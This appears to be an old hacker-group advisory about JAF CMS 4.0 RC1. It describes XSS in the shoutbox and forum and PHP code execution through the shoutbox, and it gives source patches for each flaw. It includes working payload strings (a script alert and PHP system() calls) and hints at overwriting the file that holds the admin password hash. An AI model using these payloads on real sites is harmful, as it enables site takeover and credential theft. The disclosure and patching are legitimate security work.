################################################## ################################
## ## _ _ _ _ ##
## Hacker: NanoyMaster ## /|| \ | || \ / ||\ ##
## Exploit: JAF CMS ## / || |\\| || \/ || \ ##
## Version: 4.0 RC1 ## \ || | \ || |\/| || / ##
## ## \||_| \_||_| |_||/ ##
################################################## ################################
## vulnerabilities: XSS in shoutbox ##
## PHP execution ##
## XSS in forum ##
## ##
################################################## ################################
## \m/___Props___\m/ ##
## z3r0phr34k ##
## System_Meltdown ##
## THK-GEO & THK-h3x ##
## All of Exploitarians ##
################################################## ################################


//------------------------------------------------------------------------------//
// XSS in shoutbox //
//------------------------------------------------------------------------------//

Self explanitory... in the message body put: <script>alert('hi')</script>

Error: module/shout/jafshout.php
Line: 168 - 202

187 - 191 {
$message = preg_replace('/"/','',$_POST['message']);
$message = preg_replace("/>/","&gt;",$_POST['message']);
$message = preg_replace("/</","&lt;",$_POST['message']);
$message = str_replace("onmouse","",$_POST['message']);
$message = str_replace("/\/","edited",$_POST['message']);
}

change the relevent lines to look like the following, bar the first $_POST['message'].

187 - 191 {
$message = preg_replace('/"/','',$message);
$message = preg_replace("/>/","&gt;",$message);
$message = preg_replace("/</","&lt;",$message);
$message = str_replace("onmouse","",$message);
$message = str_replace("/\/","edited",$message);
}
etc etc.

*note*
This should be implemented on all of the variables stored to the flat-file
module/files/shout
*end note*


//------------------------------------------------------------------------------//
// PHP execution //
//------------------------------------------------------------------------------//

Yet again in the shoutbox type something like:

Windoze) <?php system(dir); ?>
Linux) <?php system(ls -la); ?>

you could see how usefull this could be possably overwright admin/data_inc.php
(where the admin's password hash is)

Error: module/shout/jafshout.php
Line: 168 - 202
Patch: (see above code)


//------------------------------------------------------------------------------//
// XSS in forum //
//------------------------------------------------------------------------------//

Self explanitory... in the message body put: <script>alert('hi')</script>

Error: module/forum/topicwin.php
Line: 112- 123

112 - 117 {
$n_topic["name"]=$name;
$n_topic["email"]=$email;
$n_topic["title"]=$title;
$n_topic["date"]=$date;
$n_topic["ldate"]=$date;
$n_topic["lname"]=$name;
}

change the relevent lines to look like the following.

112 - 117 {
$n_topic["name"]=htmlentities($name, ENT_QUOTES);
$n_topic["email"]=htmlentities($email, ENT_QUOTES);
$n_topic["title"]=htmlentities($title, ENT_QUOTES);
$n_topic["date"]=htmlentities($date, ENT_QUOTES);
$n_topic["ldate"]=htmlentities($date, ENT_QUOTES);
$n_topic["lname"]=htmlentities($name, ENT_QUOTES);
}
etc etc.

//------------------------------------------------------------------------------//
// End //
//------------------------------------------------------------------------------//